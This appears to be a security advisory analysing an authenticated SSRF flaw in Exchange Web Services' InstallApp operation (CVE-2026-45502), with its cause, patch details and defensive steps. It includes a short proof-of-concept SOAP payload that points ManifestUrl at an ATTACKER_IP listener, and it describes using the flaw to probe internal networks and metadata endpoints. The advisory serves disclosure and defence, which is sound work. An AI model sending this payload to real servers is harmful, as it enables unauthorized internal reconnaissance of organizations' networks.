Technical Analysis: SSRF Vulnerability in Microsoft Exchange EWS (CVE-2026-45502)
A functional proof-of-concept (PoC) has surfaced for CVE-2026-45502, a Server-Side Request Forgery (SSRF) vulnerability residing within the Exchange Web Services (EWS) InstallApp operation. This flaw presents a significant risk to organizations running Microsoft Exchange Server that have not yet applied the security remediations released in June 2026.
The vulnerability impacts several widely deployed versions, including Exchange Server 2016 CU23, 2019 CU14/CU15, and the Exchange Server Subscription Edition (RTM). Exploitation requires an authenticated mailbox user, who can manipulate the ManifestUrl parameter during a SOAP-based InstallApp call. This manipulation forces the Exchange server to initiate outbound HTTP requests to arbitrary endpoints—whether internal or external—controlled by the attacker.
The Mechanics of the Vulnerability
The core of the issue lies in a logic error within the SynchronousDownloadData.DownloadDataFromUri() routine. This routine is responsible for processing the ManifestUrl provided by users when installing EWS add-ins. Due to insufficient input validation, the server fails to properly sanitize the destination URI.
In on-premises environments, the security mechanism designed to prevent intranet-address SSRF relies on a cloud-specific flag, isBposUser. Because this flag is hardcoded to false in on-premises deployments, the internal-address blocking logic is effectively bypassed. This allows an authenticated user to trick the server into trusting virtually any URL, essentially turning the Exchange server into an unauthorized network proxy.
From an attacker’s perspective, this provides a privileged vantage point to probe the internal network. Even though the SSRF is primarily “blind” (meaning the attacker doesn’t see the full response body), the vulnerability can be leveraged for sophisticated internal reconnaissance. By analyzing HTTP error codes, response timing, and variations in behavior, an attacker can map internal services, identify open ports, and even access sensitive metadata endpoints like 169.254.169.254. Detailed research on this behavior can be found via Aretiq’s technical breakdown.
Proof-of-Concept Workflow
The disclosed PoC demonstrates how an attacker can confirm exploitability by setting up a simple HTTP listener. By sending a crafted SOAP request, the attacker waits for the Exchange server to initiate an inbound callback to their listener. Below is a simplified representation of the SOAP payload used to trigger the request:
# Minimal PoC sketch (for lab validation only)
# Target: https://[EXCHANGE_SERVER]/EWS/Exchange.asmx
soap_body = """
<envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages">
<body>
<InstallApp>
<ManifestUrl>http://ATTACKER_IP:8888/ssrf-test</ManifestUrl>
</InstallApp>
</body>
</envelope>
"""When processed, the Exchange server performs an HTTP GET request to the malicious URL, typically appending a corr=<guid> correlation parameter. In a patched environment, the server validates the URL against a strict allowlist and terminates the request before any outbound connection is established.
Remediation and Defensive Posture
Microsoft addressed CVE-2026-45502 in the June 9, 2026, Patch Tuesday release. For the Exchange Server Subscription Edition, this is included in KB5094139, with similar security updates available for Exchange 2016 and 2019.
The fix involves a significant architectural change: Microsoft has replaced the flawed isBposUser logic with a feature-flag-driven model. This new model enforces ManifestUrlValidation across all deployment types. Furthermore, it introduces ManifestUrlCheck, an allowlist that defaults to trusted authorities like officeclient.microsoft.com, while allowing administrators to define additional permitted entries.
Recommended Actions:
- Patch Immediately: Verify that Exchange builds meet or exceed the versions specified in Microsoft’s official security guidance.
- Egress Filtering: Restrict outbound connectivity from Exchange servers. These servers should only be able to communicate with known, required external services.
- Network Monitoring: Monitor internal network logs for anomalous HTTP traffic originating from Exchange servers, particularly requests targeting internal IP ranges or sensitive metadata services.
- Access Control: Audit mailbox permissions and monitor for unusual EWS activity, as valid credentials are a prerequisite for this exploit.